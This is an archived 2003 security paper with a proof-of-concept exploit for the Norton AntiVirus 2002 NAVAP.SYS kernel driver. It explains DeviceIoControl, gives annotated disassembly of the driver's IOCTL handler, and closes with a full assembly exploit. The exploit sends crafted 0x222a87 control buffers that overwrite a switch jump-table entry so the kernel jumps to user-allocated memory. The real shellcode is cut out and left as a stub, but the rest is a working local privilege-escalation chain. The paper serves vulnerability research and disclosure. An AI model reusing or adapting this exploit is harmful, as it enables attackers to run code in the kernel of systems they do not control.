Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:4946
HistoryAug 04, 2003 - 12:00 a.m.

Win32 Device Drivers Communication Vulnerabilities

2003-08-0400:00:00
vulners.com
141

Win32 Device Drivers Communication Vulnerabilities
Proof Of Concept - Exploiting Norton AntiVirus Device Driver
Written by Lord YuP / sEC-Labs ^ tkT

Tested on NAV 2002!
[zipped exploit]

http://sec-labs.hack.pl

DISCLAIMER: This paper is written in educational purposes only. Author, sEC-Labs, tkT team are not repsonsible for damage caused by other people, based on knowledge from this paper. Hope you know what it means dear reader.

GREET: I'd like to thank int3 for helping me with the theory - one more time big thank uncle!

The title problem

I'm still wondering about the title of this paper, somebody might say that it isn't a OS problem but the vulnerable software is responsible for that. Yep, that's almost true, but I think I have arguments to name it Win32-DDCV (Device Drivers Communication Vulnerabilites), and i will show them in next parts of this article.

The real introduction

What's the Device Driver? let's paste something from Win32 Devopler Refference:
"A Windows device driver is a DLL that Windows uses to interact with a hardware device, such as a display or keyboard. Rather than access devices directly, Windows loads device drivers and calls functions in the drivers to carry out actions on the device. Each device driver exports a set of functions; Windows calls these functions to complete an action, such as drawing a circle or translating a keyboard scan code. The driver functions also contain the device-specific code needed to carry out actions on the device."

Note that Device Drivers are pretty different on w9x and NT based systems. (In Win95 and WinNT device driver is completly different. In Win98 and Win2k/XP there is new driver model called WDM ( Windows Driver Model). If you write any driver for Win98 using WDM, same driver you can run in Win2k/XP too).

Ok so why some software uses Device Drivers?
The answer is simple. Device Drivers are very powerful tools. When you are device driver you can make everything. Device Driver is running in Kernel (Ring0) mode as a kernel loadable module. In any OS Ring0 has full privilage. These programms can do any operation including system crash. Example, using kernel module we can Intercept all kinds of file operations.

How application is communicating with device driver?

The main function to communicate with device drivers is DeivceIoControl API exported by KERNEL32.DLL library. (again let's take a reference)

The DeviceIoControl function sends a control code directly to a specified device driver, causing the corresponding device to perform the specified operation.

BOOL DeviceIoControl(

HANDLE hDevice, // handle to device of interest
DWORD dwIoControlCode, // control code of operation to perform
LPVOID lpInBuffer, // pointer to buffer to supply input data
DWORD nInBufferSize, // size of input buffer
LPVOID lpOutBuffer, // pointer to buffer to receive output data
DWORD nOutBufferSize, // size of output buffer
LPDWORD lpBytesReturned, // pointer to variable to receive output byte count
LPOVERLAPPED lpOverlapped // pointer to overlapped structure for asynchronous operation
);

How the break Device Driver!?

Almost 99% of software device drivers (these which are included in software) can be broken. However as I said before the device driver must be "opened" for communactaion with application.

(To communicate with any Device Driver, Inside Device driver it creates One I/O Object using
IoCreateDevice(). In this function there is a Flag which specifies Exclusive or not. If it
mentions Exclusive (TRUE), then only 1 application can open a Device and send a command, till
it closes handle others cant open. If we take here Norton, It is not exclusive means,
more then 1 application can open the Device and send a command). However if the client like NAVAPW32.EXE (for example) is accessible for us (we can open the process and so on) we can easily close the handle and open the device driver by our program or put a remote thread (inside NAVAPW32.EXE) that will do the same job inside real Norton process.

Since the 99% of them are writting output information to lpOutBuffer you are 100% sure that you can make them flow - writting to non-existing location pointed by lpOutBuffer, which will cause them to crash. As far as I know Windows system is not checking if the memory location (agruments/memory pointers) is valid, and it isn't a windows vulerability? - give me a break!

Like int3 said - "As per my knowledge, If there is any System privilage violation like system Crash using Application (User mode programm ), then is it surly a OS Bug. "

The driver exploitation for system privleges is quite hard, but with a little stroke of luck we can do it - in next section we will try to exploit Norton AntiVirus.

Exploiting the NAVAP (on NT based systems)

After Norton AntiVirus installation it's time to make little research. Here are things you should have: (recommended - this is tutorial right?)

  • debugger (the best debugger on Earth - Numega Softice! or some windbg - you will need debugger if you want to research for your own, at the current stage everything is written here - I hope)
  • process view utility (i'm using Process Explorer from SysInternals)
  • disassembler (the best dasm on Earth IDA)
  • API monitor (the one from Rohitab Batra is pretty good)
  • logical thinking

Let the show begin!

1) Run Process Explorer utility (or other). At this stage of work the following Symatec modules should be found:

  • service: Navapsvc.exe and a client (standard access rights): Navapw32.exe

Now find any file, click right mouse button on it and choose "Scan with Norton…", now as fast as you can go to the Process Explorer window, the new Norton processes are:

  • service: QServer.exe and a normal program NAVW32.exe
    In next few seconds QServer.exe should be terminated.

2) Run Api Monitor, type CTRL+R (process filter) check the Include Filter option and write a process name as "QSERVER" (uppercase), then click OK and type CTRL+I (api filter) select only Device Input and Output. Click OK and start the API capture, now make a new virus scan (like in point one).

When QSERVER will be runned again the Api Monitor will spy it. Look now on the Api Monitor window, search for DeviceIoControl u should get some, now check the hDevice param and find CreateFileA function that returns the same value (before DeviceIoControl). You should get sth like this: CreateFileA lpFileName:0x1700FD "\\.\NAVAP", …

What does it mean? The QServer process has opened the device (grabbed its handle) and then send a signal to it. Now open IDA and open the (depends on your system) C:\WINNT\system32\drivers\NAVAP.SYS (yep the driver found before), sleep until the analyse is finished.

WHAT YOU SHOULD NOTE AT THIS POINT:

  • QServer is communicating with NAVAP driver
  • the DeviceIoControl (that you have found in the Api Monitor) was executed with params: …,dwIoControlCode:0x222a87,lpInBuffer:0x12f4e8,nInBufferSize:20,lpOutBuffer:0x12f4e0,nOutBufferSize:4, lpBytesReturned:…,lpOverlapped:0

3) When IDA analyse is completed move the scroll to start of the file, then type ALT+T (type text) and make a search with: 222a87 (yeah the signal code), IDA should find something like this:
PAGE:00016530 cmp ecx,222a87h <- double click on it and turn to IDA View sub-window. You should be now at 16530 offset. Now turn the scroll bar up until the start of the sub-routine will be visible. Ok let's paste some disassembly with my comments:

PAGE:000164D3 push esi ; esi to the stack
PAGE:000164D4 push edi ; edi also
PAGE:000164D5 mov edi, [esp+arg_0] ; edi the arg_0 pointer
PAGE:000164D9 test edi, edi ; test it
PAGE:000164DB jz loc_16597 ; if it is null -> leave
PAGE:000164E1 mov eax, [edi+4] ; EAX = lpInputBuffer pointer
PAGE:000164E4 test eax, eax ; if it is null
PAGE:000164E6 jz loc_16597 ; leave
PAGE:000164EC cmp dword ptr [edi+8], 20h ; is the nInputBufferSize correct (is it 32?)
PAGE:000164F0 jnz loc_16597 ; it is not? -> leave
PAGE:000164F6 mov esi, [edi+0Ch] ; ESI = lpOutBuffer pointer
PAGE:000164F9 test esi, esi ; point to null?
PAGE:000164FB jz loc_16597 ; leave
PAGE:00016501 cmp dword ptr [edi+10h], 4 ; nOutBuffer size == 4?
PAGE:00016505 jnz loc_16597 ; not? -> leave
PAGE:0001650B cmp dword ptr [edi+14h], 0 ; lpBytesReturned pointer == 0?
PAGE:0001650F jz loc_16597 ; signal faked -> leave
PAGE:00016515 cmp dword ptr [eax], 3E3E5352h ; are first 4 bytes from lpInBuffer
PAGE:0001651B jnz short loc_16597 ;3E3E5352? - nope -> signal faked -> leave
PAGE:0001651D cmp dword ptr [eax+1Ch], 3C3C5352h ; are 4 bytes at lpInBuffer+1ch
PAGE:00016524 jnz short loc_16597 ;3C3C5352h? - nope then leave
PAGE:00016526 mov ecx, [edi] ; ECX=singal code
PAGE:00016528 cmp ecx, 222A83h ; is it 222A83 (another NAVAP signal)
PAGE:0001652E jz short loc_1655A ; if yes jump to …
PAGE:00016530 cmp ecx, 222A87h ; is it 222A87 (our signal)
PAGE:00016536 jz short loc_16562 ; we will look at this offset later
PAGE:00016538 cmp ecx, 222A8Bh ; is it 222A8B
PAGE:0001653E jz short loc_1656A ; if so jump to …
PAGE:00016540 cmp ecx, 222A8Fh ; …
PAGE:00016546 jz short loc_16571 ; …
PAGE:00016548 cmp ecx, 222A93h ; …
PAGE:0001654E jz short loc_16578 ; …
PAGE:00016550 cmp ecx, 222A97h ; …
PAGE:00016556 jz short loc_1657F ; …
PAGE:00016558 jmp short loc_16597 ; if other jump to loc_16597

NOTICE TO: PAGE:00016530 cmp ecx, 222A87h
Once driver exposes a Device name to outside world for communication (here NAVAP), Then it has to register a Callback function to handle DeviceIoControl() call's. Above related code is that CallBack register, which he is handling a set of Signles from Nav application. Yes of course, if Those who exposed the device to User mode app's has to have this kind of CallBack(100%).

Well we can now build a sample DeviceIoControl call:
push 0 ; lpOverlapped
push offset lpBytesReturned ; this can't be NULL (look at PAGE:0001650B)
push 4 ; nOutBuffer must be 4 (look at PAGE:00016501)
push offset lpOutBuffer ; can't be NULL (look at PAGE:000164F6)
push 20h ; nInputBufferSize must be 32 (dec) (l.a PAGE:000164EC)
push offset lpInBuffer ; lpInBuffer can't be NULL (look at PAGE:000164F6)
push 222A87h ; our signal
push dword ptr [NAVAP_HANDLE] ; handle to NAVAP device
call DeviceIoControl

lpInbuffer should look like:

lpInBuffer:
dd 03E3E5352h ; can't be other (data/control code?) (look at PAGE:00016515)
dd (1ch-($-offset lpInBuffer))/4 dup (1) ; unknow data for now but required
dd 03C3C5352h ; can't be other (data/control code?) (look at PAGE:0001651D)

Well try to send such a communicate and i guess you will have a NAVAP fault, why? just read …Now we will make a look inside loc_16562 (double click on it at PAGE:00016536):
I will write only that calls from loc_16562 so here they comes: loc_16562 (by call)-> loc_1659E
loc_1659E:
call to InterlockedIncrement (twice)
call ds:dword_35AA4 (to sub_30969) <– YEP WE WERE LOOKING FOR IT

Now jump to sub_30969, here it comes:

PAGE:00030969 sub_30969 proc near ; CODE XREF: odbierz_signal+76 p
PAGE:00030969 ; odbierz_signal+A6 p
PAGE:00030969 ; DATA XREF: …
PAGE:00030969
PAGE:00030969 do_case = dword ptr 8
PAGE:00030969 unknown_1 = dword ptr 0Ch
PAGE:00030969 unknown_2 = dword ptr 10h
PAGE:00030969 unknown_3 = dword ptr 14h
PAGE:00030969 arg_10 = dword ptr 18h
PAGE:00030969 arg_14 = dword ptr 1Ch
PAGE:00030969
PAGE:00030969 push ebp ; save ebp
PAGE:0003096A xor eax, eax ; eax = 0
PAGE:0003096C mov ebp, esp ; ebp=esp
PAGE:0003096E push ebx ; ebx to the stack
PAGE:0003096F push esi ; esi also
PAGE:00030970 push edi ; edi the same
PAGE:00030971 mov edx, [ebp+arg_14] ; is arg_14 == 0?
PAGE:00030974 test edx, edx ; test it
PAGE:00030976 jz short loc_3097A ; it is -> leave
PAGE:00030978
PAGE:00030978 fault:
PAGE:00030978 mov [edx], eax ; write EAX=0 to EDX (the pointer)

Ok we will stop at this point, like I wrote few lines above, if you send that signal the driver will fault, and now I'm going to tell you why … let's rebuild lpInBuffer again:

lpInBuffer:
dd 03E3E5352h ; can't be other (look at PAGE:00016515)
dd case_state ; the case_state (look at PAGE:00030969)
dd unknown_1 ; unknown for now (look at PAGE:00030969)
dd unknown_2 ; unknown for now (look at PAGE:00030969)
dd unknown_3 ; -//- (look at PAGE:00030969)
dd arg_10 ; unknow for now (look at PAGE:00030969)
dd arg_14 ; check few lines down
dd 03C3C5352h ; can't be other (look at PAGE:0001651D)

In the old lpInBuffer all data from case_state to arg_14 where set to 1. Now let's analyse why did it faulted:
PAGE:00030971 mov edx, [ebp+arg_14] ; EDX = 1
PAGE:00030974 test edx, edx ; test it
PAGE:00030976 jz short loc_3097A ; it is not NULL continue
PAGE:00030978
PAGE:00030978 fault:
PAGE:00030978 mov [edx], eax ; write EAX (NULL) to offset 1

As you can see the driver tried to put 4 null bytes to offset given by arg_14, writting to offset 1 cause an access violation.

To exploit the driver we must find the way to "jump to our code", notice that everything sent by DeviceIoControl (from lpInBuffer to lpBytesReturned) seems to be mapped at the same address in the driver's page!!!

After few minutes of scanning I have found sth like:
PAGE:00030AA8 mov [edx], ebx ; EBX = 32h

This writes 32h to our arg_14 pointer - you are wondering why I have choosen this instruction? Just continue reading…

Look at the following code (written as an example):
mov ebx,32h ; EBX = 32h (like in our driver code)
push esp ; esp to stack
pop edx ; edx = esp
add edx,2 ; edx=esp+2
push offset return_here ; put return address on stack
mov [edx],ebx ; put 32h to edx (so esp+2)
ret ; returned to 0032100F …
return_here:

In this little procedure I tried to show you that we can overwrite driver's return address, you saw that return_here offset was changed to 0032100F ! I have specially made a [esp+2] because it returns 0032100F not 00000032. Memory at 0032100F can be allocated and then send with DeviceIoControl as pointer ! So we have space for our shellcode …

But you know this a dirty way. We can't hardcode EDX addresss beacouse the stack is changing all the time in the driver (damn) we will need to find another way to do it!

The mov [edx],ebx (EBX=32h) seems to be the only good option, now we have to find an address which can be overwritten and where the driver can jump… Let's scan …

Return to disassembly (the things after PAGE:00030978):

PAGE:0003097A loc_3097A: ; CODE XREF: sub_30969+D j
PAGE:0003097A mov eax, [ebp+case_state] ; from our lpInBuffer
PAGE:0003097D dec eax ; dec do_case
PAGE:0003097E cmp eax, 0Ah ; switch 11 cases
PAGE:00030981 ja loc_30B0B ; default
PAGE:00030987 jmp ds:off_30B12[eax*4] ; switch jump

We have found a swith-case instruction? Do you know what's off_30B12? Let's see:

PAGE:00030B12 off_30B12 dd offset loc_3098E ; DATA XREF: sub_30969+1E r
PAGE:00030B12 dd offset loc_309BD ; jump table for switch statement
PAGE:00030B12 dd offset loc_309DE
PAGE:00030B12 dd offset loc_309E8
PAGE:00030B12 dd offset loc_309F2
PAGE:00030B12 dd offset loc_30A21
PAGE:00030B12 dd offset loc_30A50
PAGE:00030B12 dd offset loc_30A7F
PAGE:00030B12 dd offset loc_30AC1
PAGE:00030B12 dd offset loc_30AE1
PAGE:00030B12 dd offset loc_30B01

We were looking for such code! If we will overwrite for example first offset, and then send the signal with case_state = 1 it will jump to code we have overwritten!!!

TODO:
First, signal must be sent with arg_14 pointed to first one of the jump table for switch statement. Let's check where was mov [edx],ebx (ebx=32h) executed:

PAGE:00030A7F loc_30A7F: ; CODE XREF: sub_30969+1E j
PAGE:00030A7F ; DATA XREF: PAGE:00030B12 (CASE 0x7)
PAGE:00030A7F mov esi, [ebp+unknown_3] ; unknown_3 == 0
PAGE:00030A82 test esi, esi ; test
PAGE:00030A84 jz loc_30B0B ; leave without mov [edx],ebx execution
PAGE:00030A8A mov ebx, 32h ; ebx = 32h
PAGE:00030A8F cmp [ebp+arg_10], ebx ; arg_10 == 32h?
PAGE:00030A92 jb short loc_30B0B ; below -> leave
PAGE:00030A94 test edx, edx ; EDX=our pointer to write
PAGE:00030A96 jz short loc_30B0B ; faked -> leave
PAGE:00030A98 mov edi, esi ; EDX=ESI
PAGE:00030A9A xor eax, eax ; EAX=0
PAGE:00030A9C mov ecx, 0Ch ; ECX=0Ch times
PAGE:00030AA1 repe stosd ; stos the dwords ECX times
PAGE:00030AA3 stosw ; stos one word
PAGE:00030AA5 mov [esi+4], ebx ; stos 32 at esi+4
PAGE:00030AA8 mov [edx], ebx ; write 32h on our address

It will be much clearer if we will define new lpInBuffer:

lpInBuffer:
dd 03E3E5352h ; can't be other (look at PAGE:00016515)
dd 07h+1 ; case 0x7 (+1 beacouse of DEC EAX l.at PAGE:0003097D)
dd unknown_1 ; unknown for now (look at PAGE:00030969)
dd unknown_2 ; unknown for now (look at PAGE:00030969)
dd some_offset ; can't be null (look at PAGE:00030A7F)
dd 32h ; it must be set to 32h (look at PAGE:00030A8A)
dd first_switch_address ; adress to overwritte with 0 then 32h (l.a PAGE:00030AA8)
dd 03C3C5352h ; can't be other (look at PAGE:0001651D)

When first signal with lpInBuffer we have defined few lines above will be sent, we must send another to jump to the first switch address, and remember that lpInBuffer must be allocated at the memory made by mov [edx],ebx, look at an example.

The lpInBuffer for the second "attack" can be almost the same, the case_state (07h+1) must be changed to 0+1 - easy.

The bad point is that the device drivers seems to be loaded at a different memory every restart, so in the current exploit you must rewrite the MAP_ADDRESS definition by the address where the device is loaded. This can be done DeviceTree (OSR product), however later I will find another way to do it - since you got the address u can login as Guest user and run the exploit…

NOTE: SHELLCODE WAS CUT OUT! WE HATE SPLOIT KIDDS! READ THE SOURCE …

NAVAP EXPLOIT

;------------------------[NAVAP_EXPLOIT.ASM]--------------------------------------
; NAVAP (Norton AntyVirus Device Driver Exploit)
; powered by Lord YuP / Sec-Labs ^ Tkt
; email: [email protected]

;compile with:
;tasm32 /m1 /m3 /mx NAVAP_EXPLOIT,;
;tlink32 -Tpe -aa NAVAP_EXPLOIT,NAVAP_EXPLOIT,import32.lib,
;PEWRSEC.COM NAVAP_EXPLOIT.exe

include my_macro.inc ;this can be found in zipped archive
include WIN32API.INC ;see the end of paper

;WARNING THIS VALUE MUST BE CHANGED!!! TRY TO USE DeviceTree utility (from OSR)
;to obtain the Device Loaded Address !!!
;or make your own obtainer using SETUPAPI functions!!!

MAP_BASE equ 0bbf30000h ;0bbef4000h

;calculate the address for the shellcode
mov eax,MAP_BASE
add eax,3098eh ;first case-if offset without base addr
mov dword ptr [my_address],eax ;fill the variable
mov dword ptr [my_address+2],0 ;like NAVAP does X-D
mov dword ptr [my_address+2],32h ;guess what ;)

push 0
push 80h
push 3
push 0
push 0
push 0
@pushsz "\\.\NAVAP" ;open the device
@callx CreateFileA ;yeah - open it!
mov ebx,eax ;EBX=DEVICE HANDLE

cmp eax,-1 ;error ;/
jne _x00 ;if not jump to _x00 label

@debug SPLOIT_TITLE,"Cannot open device ;/",IERROR
jmp exit

_x00:
push 0 ;overlapped = 0
push offset byte_ret ;bytes returned
push 4h ;navap requires 4 bytes ;)
push offset outer ;output buffor
push 20h ;if else our signal will be ignored
push offset my_buffer ;input buffer (symantec style)
push 222a87h ;secret code X-D
push ebx ;EBX=HANDLE
@callx DeviceIoControl ;send first signal
test eax,eax ;cannot send it ;/ - damn
jnz _x01 ;if correct jump to _x01

@debug SPLOIT_TITLE,"Cannot send 1st SIGNAL! ;/",IERROR
jmp exit

_x01:
push PAGE_EXECUTE_READWRITE ;page for execute/read/write
push MEM_COMMIT ;commit
push shellcode_size+100+(1000h+10h) ;size X-D hehe
push dword ptr [my_address] ;specyfic address
@callx VirtualAlloc ;alloc it!
mov dword ptr [mem_handle],eax ;store to variable

test eax,eax ;error?
jnz _xO ;if not jump to _xO

@debug SPLOIT_TITLE,"Cannot alloc memory! ;/",IERROR
jmp exit

_xO:
mov edi,eax ;EDI=MEMORY HANDLE
push edi ;store EDI
add eax,shellcode_size+10 ;after shellcode
mov dword ptr [wpisz_tutaj],eax ;store for later

xor eax,eax ;EAX=0
mov ecx,shellcode_size+100 ;ECX=SHELLCODE SIZE + 100 bytes
rep stosb ;fill up with NULL's
pop edi ;load EDI (now EDI memory handle)

lea esi,my_buffer2 ;ESI=POINTER TO SECOND BUFFER
mov ecx,my_buffer2_size ;ECX=SECOND BUFFER SIZE
rep movsb ;write it!!!

mov al,90h ;AL=90H=NOP
mov ecx,1000h+10h ;ECX=1010h bytes
rep stosb ;FILL THE MEMORY WITH NOPS

lea esi,shellcode ;ESI=POINTER TO REAL SHELLCODE
add esi,my_buffer2_size ;(WITHOUT MY_BUFFER2 DATA)
mov ecx,shellcode_size-my_buffer2_size ;ECX=REAL SHELLCODE SIZE
rep movsb ;store it!

mov eax,dword ptr [mem_handle] ;EAX=MEMORY HANDLE
add eax,shellcode_size+10 ;calculate pointer for bytes_returned

push 0
push eax ;bytes returned
push 4h ;look up for comments! X-D
push eax
push 20h
push dword ptr [mem_handle]
push 222a87h
push ebx
@callx DeviceIoControl ;send second signal and execute the jump X-D
test eax,eax ;error
jnz _x02 ;nope conitnue work at _x02 label

@debug SPLOIT_TITLE,"Cannot send 2nd SIGNAL! ;/",IERROR
jmp exit

_x02:
push MEM_RELEASE ;memory will be released
push shellcode_size+100+(1000h+10h) ;memory size
push dword ptr [mem_handle] ;memory handle
@callx VirtualFree ;de-allocate it

exit: push 0 ;say good bye ;)
@callx ExitProcess

byte_ret dd 0

OVERWRITE_IT equ MAP_BASE+20b12h+2 ;address to overwrite
SAFE_EXIT equ MAP_BASE+20B0Bh ;do not fault ;][;

my_buffer:
dd 03E3E5352h ;some MARKER by symantec
dd 07h+1 ;case if
dd "nie1" ;doesn't metter in this case
dd "nie2" ;-//-
dd offset nie3 ;device must store sth (avoid fault)
dd 32h ;must be 32h!!! (read the white-paper)
dd OVERWRITE_IT ;address we want to overwrite (EDX)
dd 03C3C5352h ;the same as the first one
my_buffer_size=$-offset my_buffer

shellcode:
my_buffer2:
dd 03E3E5352h
dd 0h+1 ;case if
dd "nie1" ;rest the same X-D
dd "nie2"
dd offset nie3
dd 32h
wpisz_tutaj dd 0
dd 03C3C5352h
my_buffer2_size=$-offset my_buffer
db 100 dup (90h)

;------------------------------------------------------------------------------------------
;here the sample shellcode starts:
;
;If u want write a shellcode do it yourself, avoiding from ex-ploit-k1dd13z
;blackhat for ever man ;]
;btw. remeber that IT IS A: *D - R - I - V - E - R *
;heh
;------------------------------------------------------------------------------------------

pushad
@delta2reg ebp

popad
mov edx,SAFE_EXIT
jmp edx

shellcode_size=$-offset shellcode

;the rest of variables

mem_handle dd 0
my_address dd 0
temp_erufka dd 0
nie3 db "just an temp … "
outer db 100 dup (0)

end start

;------------------------[NAVAP_EXPLOIT.ASM]--------------------------------------

Last words

I hope you had fun with this paper! and you have learned something. It is time to send few greets, so they are fired to:

IRC:
UNDERNET to all from #virus, #asm, mostly i want to thank int3 (my favourite india coder - thx uncle)
IRCNET to all from #phreakpl, #security, #blackhat
And of cource special thanks goes to bajkero, mcbethh and rest of sec-labs team :) (grin)

You can catch me at [email protected] or IRC, if you want to contact with my team(s) visit our homepage.

"You will be now terminated …" - EOF